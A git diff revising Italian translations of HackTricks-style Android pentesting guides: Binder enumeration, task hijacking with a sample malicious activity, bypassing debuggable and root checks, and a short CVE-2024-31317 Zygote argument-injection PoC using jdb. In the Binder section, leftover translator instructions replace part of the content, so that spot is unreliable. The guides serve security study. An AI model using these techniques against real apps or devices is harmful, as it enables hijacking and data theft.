-* **mdns_recon** – strumento Python che scansiona interi intervalli alla ricerca di *risponditori* mDNS *malconfigurati* che rispondono a query unicast (utile per trovare dispositivi raggiungibili attraverso subnet/WAN):
+* **mdns_recon** – strumento Python che scansiona intere gamme alla ricerca di *risponditori* mDNS *malconfigurati* che rispondono a query unicast (utile per trovare dispositivi raggiungibili attraverso subnet/WAN):

 ```bash
 git clone https://github.com/chadillac/mdns_recon && cd mdns_recon
--- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md
+++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md
@ -15,7 +15,7 @@

 ### Condivisione UID

-**Due applicazioni possono essere configurate per utilizzare lo stesso UID**. Questo può essere utile per condividere informazioni, ma se una di esse viene compromessa, i dati di entrambe le applicazioni saranno compromessi. Ecco perché questo comportamento è **sconsigliato**.\
+**Due applicazioni possono essere configurate per utilizzare lo stesso UID**. Questo può essere utile per condividere informazioni, ma se una di esse viene compromessa, i dati di entrambe le applicazioni saranno compromessi. Questo è il motivo per cui questo comportamento è **sconsigliato**.\
 **Per condividere lo stesso UID, le applicazioni devono definire lo stesso valore `android:sharedUserId` nei loro manifest.**

 ### Sandboxing
@ -25,8 +25,8 @@ A partire da Android 5.0(L), **SELinux** è applicato. Fondamentalmente, SELinux

 ### Permessi

-Quando installi un'**app e chiede permessi**, l'app sta chiedendo i permessi configurati negli elementi **`uses-permission`** nel file **AndroidManifest.xml**. L'elemento **uses-permission** indica il nome del permesso richiesto all'interno dell'**attributo name**. Ha anche l'attributo **maxSdkVersion** che smette di chiedere permessi su versioni superiori a quella specificata.\
-Nota che le applicazioni android non devono chiedere tutti i permessi all'inizio, possono anche **chiedere permessi dinamicamente**, ma tutti i permessi devono essere **dichiarati** nel **manifest**.
+Quando installi un'**app e richiede permessi**, l'app sta chiedendo i permessi configurati negli elementi **`uses-permission`** nel file **AndroidManifest.xml**. L'elemento **uses-permission** indica il nome del permesso richiesto all'interno dell'**attributo name**. Ha anche l'attributo **maxSdkVersion** che smette di richiedere permessi su versioni superiori a quella specificata.\
+Nota che le applicazioni android non devono chiedere tutti i permessi all'inizio, possono anche **richiedere permessi dinamicamente**, ma tutti i permessi devono essere **dichiarati** nel **manifest**.

 Quando un'app espone funzionalità, può limitare l'**accesso solo alle app che hanno un permesso specificato**.\
 Un elemento di permesso ha tre attributi:
@ -34,7 +34,7 @@ Un elemento di permesso ha tre attributi:
 - Il **nome** del permesso
 - L'attributo **permission-group**, che consente di raggruppare permessi correlati.
 - Il **protection-level** che indica come vengono concessi i permessi. Ci sono quattro tipi:
- **Normale**: Usato quando non ci sono **minacce note** all'app. L'utente **non è tenuto ad approvarlo**.
+- **Normale**: Usato quando non ci sono **minacce note** per l'app. L'utente **non è tenuto ad approvarlo**.
 - **Pericoloso**: Indica che il permesso concede all'applicazione richiedente un **accesso elevato**. **Gli utenti sono invitati ad approvarli**.
 - **Firma**: Solo le **app firmate dallo stesso certificato di quello** che esporta il componente possono ricevere il permesso. Questo è il tipo di protezione più forte.
 - **SignatureOrSystem**: Solo le **app firmate dallo stesso certificato di quello** che esporta il componente o **app che girano con accesso a livello di sistema** possono ricevere permessi.
@ -52,7 +52,7 @@ Queste app si trovano generalmente nelle directory **`/system/app`** o **`/syste
 Per ottenere accesso root su un dispositivo android fisico, generalmente è necessario **sfruttare** 1 o 2 **vulnerabilità** che di solito sono **specifiche** per il **dispositivo** e la **versione**.\
 Una volta che l'exploit ha funzionato, di solito il binario Linux `su` viene copiato in una posizione specificata nella variabile PATH dell'utente come `/system/xbin`.

-Una volta configurato il binario su, viene utilizzata un'altra app Android per interfacciarsi con il binario `su` e **elaborare le richieste di accesso root** come **Superuser** e **SuperSU** (disponibile nel Google Play store).
+Una volta configurato il binario su, un'altra app Android viene utilizzata per interfacciarsi con il binario `su` e **elaborare le richieste di accesso root** come **Superuser** e **SuperSU** (disponibile nel Google Play store).

 > [!CAUTION]
 > Nota che il processo di rooting è molto pericoloso e può danneggiare gravemente il dispositivo.
@ -93,7 +93,7 @@ Una volta che un dispositivo è rootato, qualsiasi app potrebbe richiedere acces

 ### **Dalvik & Smali**

-Nello sviluppo Android, **Java o Kotlin** vengono utilizzati per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **bytecode Dalvik Executable (DEX)**. In passato, la macchina virtuale Dalvik gestiva questo bytecode, ma ora, l'Android Runtime (ART) prende il sopravvento nelle versioni più recenti di Android.
+Nello sviluppo Android, **Java o Kotlin** viene utilizzato per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **Dalvik Executable (DEX) bytecode**. In passato, la macchina virtuale Dalvik gestiva questo bytecode, ma ora, l'Android Runtime (ART) prende il sopravvento nelle versioni più recenti di Android.

 Per il reverse engineering, **Smali** diventa cruciale. È la versione leggibile dall'uomo del bytecode DEX, agendo come un linguaggio assembly traducendo il codice sorgente in istruzioni bytecode. Smali e baksmali si riferiscono agli strumenti di assemblaggio e disassemblaggio in questo contesto.

@ -114,11 +114,11 @@ Se vulnerabili, **gli Intents possono essere utilizzati per eseguire una variet

 ### Intent-Filter

-**I Filtri di Intent** definiscono **come un'attività, un servizio o un Broadcast Receiver possono interagire con diversi tipi di Intents**. Fondamentalmente, descrivono le capacità di questi componenti, come quali azioni possono eseguire o i tipi di trasmissioni che possono elaborare. Il luogo principale per dichiarare questi filtri è all'interno del **file AndroidManifest.xml**, anche se per i Broadcast Receivers, codificarli è anche un'opzione.
+**Intent Filters** definiscono **come un'attività, un servizio o un Broadcast Receiver possono interagire con diversi tipi di Intents**. Fondamentalmente, descrivono le capacità di questi componenti, come quali azioni possono eseguire o i tipi di trasmissioni che possono elaborare. Il luogo principale per dichiarare questi filtri è all'interno del **file AndroidManifest.xml**, anche se per i Broadcast Receivers, codificarli è anche un'opzione.

-I Filtri di Intent sono composti da categorie, azioni e filtri di dati, con la possibilità di includere metadati aggiuntivi. Questa configurazione consente ai componenti di gestire specifici Intents che corrispondono ai criteri dichiarati.
+Gli Intent Filters sono composti da categorie, azioni e filtri di dati, con la possibilità di includere metadati aggiuntivi. Questa configurazione consente ai componenti di gestire specifici Intents che corrispondono ai criteri dichiarati.

-Un aspetto critico dei componenti Android (attività/servizi/provider di contenuti/broadcast receiver) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`exported`** con un valore di **`true`** o se un Filtro di Intent è dichiarato per esso nel manifest. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, assicurandosi che non interagiscano con altre app inavvertitamente. Questo viene realizzato impostando l'attributo **`exported`** su **`false`** nelle loro definizioni di manifest.
+Un aspetto critico dei componenti Android (attività/servizi/provider di contenuti/ricevitori di trasmissione) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`exported`** con un valore di **`true`** o se un Intent Filter è dichiarato per esso nel manifest. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, assicurandosi che non interagiscano con altre app inavvertitamente. Questo viene realizzato impostando l'attributo **`exported`** su **`false`** nelle loro definizioni di manifest.

 Inoltre, gli sviluppatori hanno la possibilità di garantire ulteriormente l'accesso a questi componenti richiedendo permessi specifici. L'attributo **`permission`** può essere impostato per imporre che solo le app con il permesso designato possano accedere al componente, aggiungendo un ulteriore livello di sicurezza e controllo su chi può interagire con esso.
 ```java
@ -149,7 +149,7 @@ Il processo di "risoluzione dell'Intent" determina quale app dovrebbe ricevere c

 ### Intents Espliciti

-Un intent esplicito specifica il nome della classe a cui è destinato:
+Un intent esplicito specifica il nome della classe che sta mirando:
 ```java
 Intent downloadIntent = new (this, DownloadService.class):
 ```
@ -161,7 +161,7 @@ context.startService(intent);
 ```
 ### Pending Intents

-Questi consentono ad altre applicazioni di **eseguire azioni per conto della tua applicazione**, utilizzando l'identità e i permessi della tua app. Costruendo un Pending Intent, deve essere **specificato un intent e l'azione da eseguire**. Se l'**intent dichiarato non è Esplicito** (non dichiara quale intent può chiamarlo), un'**applicazione malevola potrebbe eseguire l'azione dichiarata** per conto dell'app vittima. Inoltre, **se un'azione non è specificata**, l'app malevola sarà in grado di fare **qualsiasi azione per conto della vittima**.
+Questi consentono ad altre applicazioni di **eseguire azioni per conto della tua applicazione**, utilizzando l'identità e i permessi della tua app. Costruendo un Pending Intent, dovrebbe essere **specificato un intent e l'azione da eseguire**. Se l'**intent dichiarato non è Esplicito** (non dichiara quale intent può chiamarlo), un'**applicazione malevola potrebbe eseguire l'azione dichiarata** per conto dell'app vittima. Inoltre, **se un'azione non è specificata**, l'app malevola sarà in grado di fare **qualsiasi azione per conto della vittima**.

 ### Broadcast Intents

@ -184,7 +184,7 @@ Se trovi funzioni contenenti la parola "sticky" come **`sendStickyBroadcast`** o

 ## Deep links / URL schemes

-Nelle applicazioni Android, **deep links** vengono utilizzati per avviare un'azione (Intent) direttamente tramite un URL. Questo viene fatto dichiarando uno specifico **schema URL** all'interno di un'attività. Quando un dispositivo Android cerca di **accedere a un URL con questo schema**, l'attività specificata all'interno dell'applicazione viene avviata.
+Nelle applicazioni Android, **deep links** vengono utilizzati per avviare un'azione (Intent) direttamente tramite un URL. Questo viene fatto dichiarando uno specifico **URL scheme** all'interno di un'attività. Quando un dispositivo Android cerca di **accedere a un URL con questo schema**, l'attività specificata all'interno dell'applicazione viene avviata.

 Lo schema deve essere dichiarato nel file **`AndroidManifest.xml`**:
 ```xml
@ -225,7 +225,7 @@ Il **Android Interface Definition Language (AIDL)** è progettato per facilitare

 - **Messenger**: Operando come un servizio legato, il Messenger facilita l'IPC con un focus sul trattamento dei dati attraverso il metodo `onBind`. È essenziale ispezionare questo metodo attentamente per eventuali gestioni di dati non sicure o esecuzione di funzioni sensibili.

- **Binder**: Sebbene l'uso diretto della classe Binder sia meno comune a causa dell'astrazione di AIDL, è utile comprendere che il Binder funge da driver a livello di kernel facilitando il trasferimento di dati tra gli spazi di memoria di diversi processi. Per ulteriori informazioni, è disponibile una risorsa su [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
+- **Binder**: Sebbene l'uso diretto della classe Binder sia meno comune a causa dell'astrazione di AIDL, è utile comprendere che il Binder agisce come un driver a livello di kernel facilitando il trasferimento di dati tra gli spazi di memoria di diversi processi. Per ulteriori informazioni, è disponibile una risorsa su [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).

 ## Componenti

@ -286,7 +286,7 @@ Un'applicazione interessante dei servizi include la riproduzione di musica in ba

 **I broadcast receivers** fungono da ascoltatori in un sistema di messaggistica, consentendo a più applicazioni di rispondere agli stessi messaggi dal sistema. Un'app può **registrare un ricevitore** in **due modi principali**: attraverso il **Manifest** dell'app o **dinamicamente** nel codice dell'app tramite l'API **`registerReceiver`**. Nel Manifest, le trasmissioni sono filtrate con permessi, mentre i ricevitori registrati dinamicamente possono anche specificare permessi al momento della registrazione.

-**I filtri di Intent** sono cruciali in entrambi i metodi di registrazione, determinando quali trasmissioni attivano il ricevitore. Una volta inviata una trasmissione corrispondente, viene invocato il metodo **`onReceive`** del ricevitore, consentendo all'app di reagire di conseguenza, come modificare il comportamento in risposta a un avviso di batteria scarica.
+**I filtri di Intent** sono cruciali in entrambi i metodi di registrazione, determinando quali trasmissioni attivano il ricevitore. Una volta inviata una trasmissione corrispondente, viene invocato il metodo **`onReceive`** del ricevitore, consentendo all'app di reagire di conseguenza, ad esempio, modificando il comportamento in risposta a un avviso di batteria scarica.

 Le trasmissioni possono essere **asincrone**, raggiungendo tutti i ricevitori senza ordine, o **sincrone**, dove i ricevitori ricevono la trasmissione in base a priorità impostate. Tuttavia, è importante notare il potenziale rischio per la sicurezza, poiché qualsiasi app può dare priorità a se stessa per intercettare una trasmissione.

@ -327,7 +327,7 @@ WebViews sono come **mini browser web** all'interno delle app Android, che estra

 Android offre due principali tipi di WebView:

- **WebViewClient** è ottimo per HTML di base ma non supporta la funzione di avviso JavaScript, influenzando il modo in cui possono essere testati gli attacchi XSS.
+- **WebViewClient** è ottimo per HTML di base ma non supporta la funzione di avviso JavaScript, influenzando il modo in cui gli attacchi XSS possono essere testati.
 - **WebChromeClient** si comporta più come l'esperienza completa del browser Chrome.

 Un punto chiave è che i browser WebView **non condividono i cookie** con il browser principale del dispositivo.
@ -340,7 +340,7 @@ Consentire l'accesso ai contenuti (`setAllowContentAccess(true)`) consente ai We

 Per controllare l'accesso ai file:

- Disabilitare l'accesso ai file (`setAllowFileAccess(false)`) limita l'accesso al filesystem, con eccezioni per alcuni asset, assicurando che siano utilizzati solo per contenuti non sensibili.
+- Disabilitare l'accesso ai file (`setAllowFileAccess(false)`) limita l'accesso al filesystem, con eccezioni per alcuni asset, assicurando che vengano utilizzati solo per contenuti non sensibili.

 ## Altri Componenti dell'App e Gestione dei Dispositivi Mobili

@ -350,7 +350,7 @@ Per controllare l'accesso ai file:

 ### **Verifica dell'App per Maggiore Sicurezza**

- A partire da **Android 4.2**, una funzione chiamata **Verifica App** consente agli utenti di far controllare le app per la sicurezza prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura impedire l'installazione di quelle particolarmente dannose, migliorando la sicurezza dell'utente.
+- A partire da **Android 4.2**, una funzione chiamata **Verifica App** consente agli utenti di far controllare le app per la sicurezza prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura prevenire l'installazione di quelle particolarmente dannose, migliorando la sicurezza dell'utente.

 ### **Gestione dei Dispositivi Mobili (MDM)**

@ -367,7 +367,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
 ```
 ## Enumerare ed Sfruttare i Servizi AIDL / Binder

-Android *Binder* IPC espone molti **servizi di sistema e forniti dal venditore**. Questi servizi diventano una **superficie di attacco** quando vengono esportati senza un adeguato controllo dei permessi (il livello AIDL stesso non esegue *nessun* controllo degli accessi).
+Android *Binder* IPC espone molti **servizi di sistema e forniti dal venditore**. Questi servizi diventano una **superficie di attacco** quando vengono esportati senza un adeguato controllo dei permessi (il livello AIDL stesso non esegue *alcun* controllo degli accessi).

 ### 1. Scoprire i servizi in esecuzione
 ```bash
@ -375,16 +375,16 @@ Android *Binder* IPC espone molti **servizi di sistema e forniti dal venditore**
 service list               # simple one-liner
 am list services           # identical output, ActivityManager wrapper
 ```
-1. Traduzione del testo in italiano.
-2. Mantenimento della sintassi markdown e html.
-3. Non tradurre nomi di tecniche di hacking, parole comuni di hacking, nomi di piattaforme cloud/SaaS.
-4. Non tradurre link o percorsi.
-5. Non modificare tag o riferimenti.
+1. Traduzione del testo in italiano mantenendo la sintassi markdown e html.
+2. Non tradurre codice, nomi di tecniche di hacking, parole comuni di hacking, nomi di piattaforme cloud/SaaS.
+3. Non tradurre link o percorsi.
+4. Non tradurre o modificare tag, link, riferimenti e percorsi specificati.
+5. Non aggiungere contenuti extra nella risposta.
 ```
 145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
 146  wifi             : [android.net.wifi.IWifiManager]
 ```
-* L'**indice** (prima colonna) viene assegnato a runtime – **non** fare affidamento su di esso tra i riavvii.
+* L'**indice** (prima colonna) viene assegnato durante l'esecuzione – **non** fare affidamento su di esso tra i riavvii.
 * Il **nome del Binder** (ad es. `mtkconnmetrics`) è ciò che verrà passato a `service call`.
 * Il valore all'interno delle parentesi quadre è l'**interfaccia AIDL** completamente qualificata da cui è stato generato lo stub.

@ -448,12 +448,12 @@ throw new SecurityException("uid " + uid + " rejected");
 ```
 L'assenza di tale logica o di una whitelist di UID privilegiati (ad es. `uid == 1000 /*system*/`) è un **indicatore di vulnerabilità**.

-Studio di caso – *MediaTek* `startMonitorProcessWithUid()` (transazione **8**) esegue completamente un messaggio Netlink **senza** alcun gate di permesso, consentendo a un'app non privilegiata di interagire con il modulo Netfilter del kernel e di riempire il log di sistema.
+Studio di caso – *MediaTek* `startMonitorProcessWithUid()` (transazione **8**) esegue completamente un messaggio Netlink **senza** alcun gate di permesso, consentendo a un'app non privilegiata di interagire con il modulo Netfilter del kernel e di riempire il registro di sistema.

 ### 7. Automazione della valutazione
 Strumenti / script che accelerano il riconoscimento di Binder:
 * [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – espone `/dev/binderfs` con nodi per servizio
-* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – attraversa la tabella binder e stampa le ACL
+* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – percorre la tabella binder e stampa le ACL
 * Scorciatoia Frida: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))`

 ---
--- a/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md
+++ b/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md
@ -52,7 +52,7 @@ La vulnerabilità riportata nell'applicazione **Caller ID (caller.id.phone.numbe
 class HackActivity : AppCompatActivity() {
 override fun onCreate(savedInstanceState: Bundle?) {
 super.onCreate(savedInstanceState)
-moveTaskToBack(true)   // mantiene il task nei recenti ma fuori vista
+moveTaskToBack(true)   // mantiene il task nei recenti ma fuori dalla vista
 }
 }
 ```
@ -68,7 +68,7 @@ android:taskAffinity="com.caller.id.phone.number.block" >
 </activity>
 ```
 3. Non appena l'utente installa e apre l'app malevola **una volta**, esiste un task la cui affinità è uguale al pacchetto della vittima (ma si trova in background).
-4. Quando l'applicazione reale Caller ID viene avviata, Android riutilizza quel task e porta `HackActivity` in primo piano → finestra di phishing/abuso di permessi.
+4. Quando viene avviata l'applicazione reale Caller ID, Android riutilizza quel task e porta `HackActivity` in primo piano → finestra di phishing/abuso di permessi.

 > NOTA: A partire da **Android 11 (API 30)** il sistema *non* colloca due pacchetti che non fanno parte dello stesso UID nello stesso task per impostazione predefinita, mitigando questa particolare variante. Le versioni precedenti rimangono vulnerabili.

@ -80,7 +80,7 @@ Il bollettino di sicurezza di Google di maggio 2020 ha corretto una variante pi

 Punti chiave:

-* Un'app malevola senza permessi può, una volta aperta, iterare sui task in esecuzione e chiamare API nascoste per **ri-parentare** la propria attività in qualsiasi task.
+* Un'app malevola con zero permessi può, una volta aperta, iterare sui task in esecuzione e chiamare API nascoste per **ri-parentare** la propria attività in qualsiasi task.
 * Poiché l'attività viene inserita dopo il runtime, né `launchMode` né l'analisi statica del manifest possono rilevare l'attacco in anticipo.
 * Corretto retroattivamente inserendo un controllo in **Android 8.0/8.1/9** (SPL di maggio 2020). **Android 10 e versioni successive non sono interessati.**

@ -118,7 +118,7 @@ run app.activity.info com.victim

 Gli sviluppatori dovrebbero:

-* Impostare esplicitamente `android:taskAffinity=""` a livello di `<application>` (raccomandato) **o** dare a ogni attività un'affinità unica e privata.
+* Impostare esplicitamente `android:taskAffinity=""` a livello di `<application>` (raccomandato) **o** dare a ciascuna attività un'affinità unica e privata.
 * Per schermi altamente sensibili, combinare quanto sopra con `android:launchMode="singleInstance"` o moderne protezioni [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode).
 * Aggiornare il `targetSdkVersion` dell'app e applicare le modifiche comportamentali di **Android 11** in cui i task non sono condivisi tra pacchetti per impostazione predefinita.
 * Targetizzare **Android 12 (API 31) o superiore** in modo che l'attributo obbligatorio `android:exported` costringa gli sviluppatori a controllare ogni componente raggiungibile esternamente.
@ -128,7 +128,7 @@ Gli sviluppatori dovrebbero:

 ## Tecniche correlate di UI-Hijacking

-Il task hijacking è spesso combinato con o sostituito da **tapjacking** (inganno dell'interfaccia utente basato su overlay). La ricerca del 2025 **TapTrap** ha dimostrato che attività *completamente trasparenti* guidate da animazione possono bypassare le restrizioni sul tocco dell'overlay introdotte in Android 12–14 e ingannare ancora gli utenti nel concedere permessi pericolosi. Sebbene TapTrap non sia strettamente *task* hijacking, l'obiettivo finale (clic di phishing) è identico – quindi le valutazioni moderne dovrebbero controllare entrambe le superfici di attacco.
+Il task hijacking è spesso combinato con o sostituito da **tapjacking** (inganno dell'interfaccia utente basato su overlay). La ricerca del 2025 **TapTrap** ha dimostrato che attività *trasparenti* completamente *guidate da animazione* possono bypassare le restrizioni sul tocco dell'overlay introdotte in Android 12–14 e ingannare ancora gli utenti nel concedere permessi pericolosi. Anche se TapTrap non è strettamente *task* hijacking, l'obiettivo finale (clic di phishing) è identico – quindi le valutazioni moderne dovrebbero controllare entrambe le superfici di attacco.

 ---

--- a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md
+++ b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md
@ -1,59 +1,59 @@
-# Sfruttare un'applicazione debuggable
+# Sfruttare un'applicazione debuggabile

 {{#include ../../banners/hacktricks-training.md}}

-# **Superare i controlli di root e debuggable**
+# **Evitare controlli di root e debuggabilità**

 Questa sezione del post è un riassunto del post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)

-## Passaggi per rendere un'app Android debuggable e superare i controlli
+## Passaggi per rendere un'app Android debuggabile e bypassare i controlli

-### **Rendere l'app debuggable**
+### **Rendere l'app debuggabile**

 Contenuto basato su https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

-1. **Decompilare l'APK:**
+1. **Decompila l'APK:**

- Utilizzare lo strumento APK-GUI per decompilare l'APK.
- Nel file _android-manifest_, inserire `android:debuggable="true"` per abilitare la modalità di debug.
- Ricompilare, firmare e zipalignare l'applicazione modificata.
+- Utilizza lo strumento APK-GUI per decompilare l'APK.
+- Nel file _android-manifest_, inserisci `android:debuggable="true"` per abilitare la modalità di debug.
+- Ricompila, firma e zipaligna l'applicazione modificata.

-2. **Installare l'applicazione modificata:**
+2. **Installa l'applicazione modificata:**

- Usare il comando: `adb install <application_name>`.
+- Usa il comando: `adb install <application_name>`.

-3. **Recuperare il nome del pacchetto:**
+3. **Recupera il nome del pacchetto:**

- Eseguire `adb shell pm list packages –3` per elencare le applicazioni di terze parti e trovare il nome del pacchetto.
+- Esegui `adb shell pm list packages –3` per elencare le applicazioni di terze parti e trovare il nome del pacchetto.

-4. **Impostare l'app per attendere la connessione del debugger:**
+4. **Imposta l'app per attendere la connessione del debugger:**

 - Comando: `adb shell am setup-debug-app –w <package_name>`.
 - **Nota:** Questo comando deve essere eseguito ogni volta prima di avviare l'applicazione per garantire che attenda il debugger.
- Per persistenza, utilizzare `adb shell am setup-debug-app –w ––persistent <package_name>`.
- Per rimuovere tutti i flag, utilizzare `adb shell am clear-debug-app <package_name>`.
+- Per persistenza, usa `adb shell am setup-debug-app –w ––persistent <package_name>`.
+- Per rimuovere tutti i flag, usa `adb shell am clear-debug-app <package_name>`.

-5. **Prepararsi per il debug in Android Studio:**
+5. **Preparati per il debug in Android Studio:**

- Navigare in Android Studio su _File -> Open Profile or APK_.
- Aprire l'APK ricompilato.
+- Naviga in Android Studio su _File -> Open Profile or APK_.
+- Apri l'APK ricompilato.

-6. **Impostare i breakpoint nei file Java chiave:**
- Posizionare i breakpoint in `MainActivity.java` (specificamente nel metodo `onCreate`), `b.java` e `ContextWrapper.java`.
+6. **Imposta i breakpoint nei file Java chiave:**
+- Posiziona i breakpoint in `MainActivity.java` (specificamente nel metodo `onCreate`), `b.java` e `ContextWrapper.java`.

-### **Superare i controlli**
+### **Evitare controlli**

-L'applicazione, in determinati punti, verificherà se è debuggable e controllerà anche i binari che indicano un dispositivo rootato. Il debugger può essere utilizzato per modificare le informazioni dell'app, disattivare il bit debuggable e alterare i nomi dei binari cercati per superare questi controlli.
+L'applicazione, in determinati punti, verificherà se è debuggabile e controllerà anche i binari che indicano un dispositivo rootato. Il debugger può essere utilizzato per modificare le informazioni dell'app, disattivare il bit di debuggabilità e alterare i nomi dei binari cercati per bypassare questi controlli.

-Per il controllo debuggable:
+Per il controllo di debuggabilità:

-1. **Modificare le impostazioni del flag:**
- Nella sezione variabili della console del debugger, navigare a: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
+1. **Modifica le impostazioni del flag:**
+- Nella sezione variabili della console del debugger, naviga a: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
 - **Nota:** La rappresentazione binaria di `flags = 814267974` è `11000011100111011110`, indicando che il "Flag_debuggable" è attivo.

 ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)

-Questi passaggi garantiscono collettivamente che l'applicazione possa essere debuggata e che alcuni controlli di sicurezza possano essere superati utilizzando il debugger, facilitando un'analisi o modifica più approfondita del comportamento dell'applicazione.
+Questi passaggi garantiscono collettivamente che l'applicazione possa essere debuggata e che alcuni controlli di sicurezza possano essere bypassati utilizzando il debugger, facilitando un'analisi o una modifica più approfondita del comportamento dell'applicazione.

 Il passaggio 2 comporta la modifica di un valore di flag a 814267972, che è rappresentato in binario come 110000101101000000100010100.

@ -64,16 +64,16 @@ Il passaggio 2 comporta la modifica di un valore di flag a 814267972, che è rap
 ## **Controllo della vulnerabilità**

 - L'applicazione è stata decompilata utilizzando `apktool` per accedere al file `AndroidManifest.xml`.
- La presenza di `android_debuggable="true"` nel AndroidManifest.xml indica che l'applicazione è debuggable e suscettibile a sfruttamento.
- Vale la pena notare che `apktool` è impiegato esclusivamente per controllare lo stato debuggable senza alterare alcun codice.
+- La presenza di `android_debuggable="true"` nel AndroidManifest.xml indica che l'applicazione è debuggabile e suscettibile di sfruttamento.
+- Vale la pena notare che `apktool` è impiegato esclusivamente per controllare lo stato di debuggabilità senza alterare alcun codice.

-## **Preparare la configurazione**
+## **Preparazione dell'impostazione**

 - Il processo ha comportato l'avvio di un emulatore, l'installazione dell'app vulnerabile e l'uso di `adb jdwp` per identificare le porte Dalvik VM che sono in ascolto.
 - Il JDWP (Java Debug Wire Protocol) consente il debug di un'applicazione in esecuzione in una VM esponendo una porta unica.
 - Il port forwarding è stato necessario per il debug remoto, seguito dall'attacco di JDB all'applicazione target.

-## **Iniettare codice durante l'esecuzione**
+## **Iniezione di codice durante l'esecuzione**

 - Lo sfruttamento è stato effettuato impostando breakpoint e controllando il flusso dell'applicazione.
 - Comandi come `classes` e `methods <class_name>` sono stati utilizzati per scoprire la struttura dell'applicazione.
@ -81,16 +81,16 @@ Il passaggio 2 comporta la modifica di un valore di flag a 814267972, che è rap
 - I comandi `locals`, `next` e `set` sono stati utilizzati per ispezionare e modificare le variabili locali, in particolare cambiando il messaggio "Try Again" in "Hacked".
 - Il codice modificato è stato eseguito utilizzando il comando `run`, alterando con successo l'output dell'applicazione in tempo reale.

-Questo esempio ha dimostrato come il comportamento di un'applicazione debuggable possa essere manipolato, evidenziando il potenziale per sfruttamenti più complessi come ottenere accesso shell sul dispositivo nel contesto dell'applicazione.
+Questo esempio ha dimostrato come il comportamento di un'applicazione debuggabile possa essere manipolato, evidenziando il potenziale per sfruttamenti più complessi come ottenere accesso shell sul dispositivo nel contesto dell'applicazione.

 ---

-# 2024 – Trasformare **qualsiasi** applicazione in un processo debuggable (CVE-2024-31317)
+# 2024 – Trasformare **qualsiasi** applicazione in un processo debuggabile (CVE-2024-31317)

 Anche se l'APK target _non_ è fornito con il flag `android:debuggable`, ricerche recenti hanno dimostrato che è possibile forzare **applicazioni arbitrarie** a partire con il flag di runtime `DEBUG_ENABLE_JDWP` abusando del modo in cui Zygote analizza gli argomenti della riga di comando.

 *   **Vulnerabilità:** Validazione impropria di `--runtime-flags` forniti attraverso il socket di comando di Zygote consente a un attaccante che può raggiungere `system_server` (ad esempio tramite la shell privilegiata `adb` che possiede il permesso `WRITE_SECURE_SETTINGS`) di iniettare parametri extra. Quando il comando creato viene riprodotto da `system_server`, l'app vittima viene forkata come _debuggable_ e con un thread JDWP in ascolto. Il problema è tracciato come **CVE-2024-31317** ed è stato risolto nel bollettino di sicurezza Android di giugno 2024.
-*   **Impatto:** Accesso completo in lettura/scrittura alla directory di dati privati di **qualsiasi** app (inclusi quelli privilegiati come `com.android.settings`), furto di token, bypass MDM e, in molti casi, un percorso diretto per l'escalation dei privilegi abusando degli endpoint IPC esportati del processo ora debuggable.
+*   **Impatto:** Accesso completo in lettura/scrittura alla directory dei dati privati di **qualsiasi** app (inclusi quelli privilegiati come `com.android.settings`), furto di token, bypass MDM e, in molti casi, un percorso diretto per l'escalation dei privilegi abusando degli endpoint IPC esportati del processo ora debuggabile.
 *   **Versioni interessate:** Android 9 fino a 14 prima del livello di patch di giugno 2024.

 ## PoC rapida
@ -107,7 +107,7 @@ adb jdwp               # obtain the PID
 adb forward tcp:8700 jdwp:<pid>
 jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
 ```
-> Il valore creato nel passo 1 interrompe il parser dal “fast-path” e aggiunge un secondo comando sintetico dove `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) è accettato come se fosse stato fornito dal framework. Una volta che l'app è avviata, viene aperta una socket JDWP e trucchi di debug dinamico regolari (sostituzione di metodi, patching di variabili, iniezione live di Frida, ecc.) sono possibili **senza modificare l'APK o l'immagine di avvio del dispositivo**.
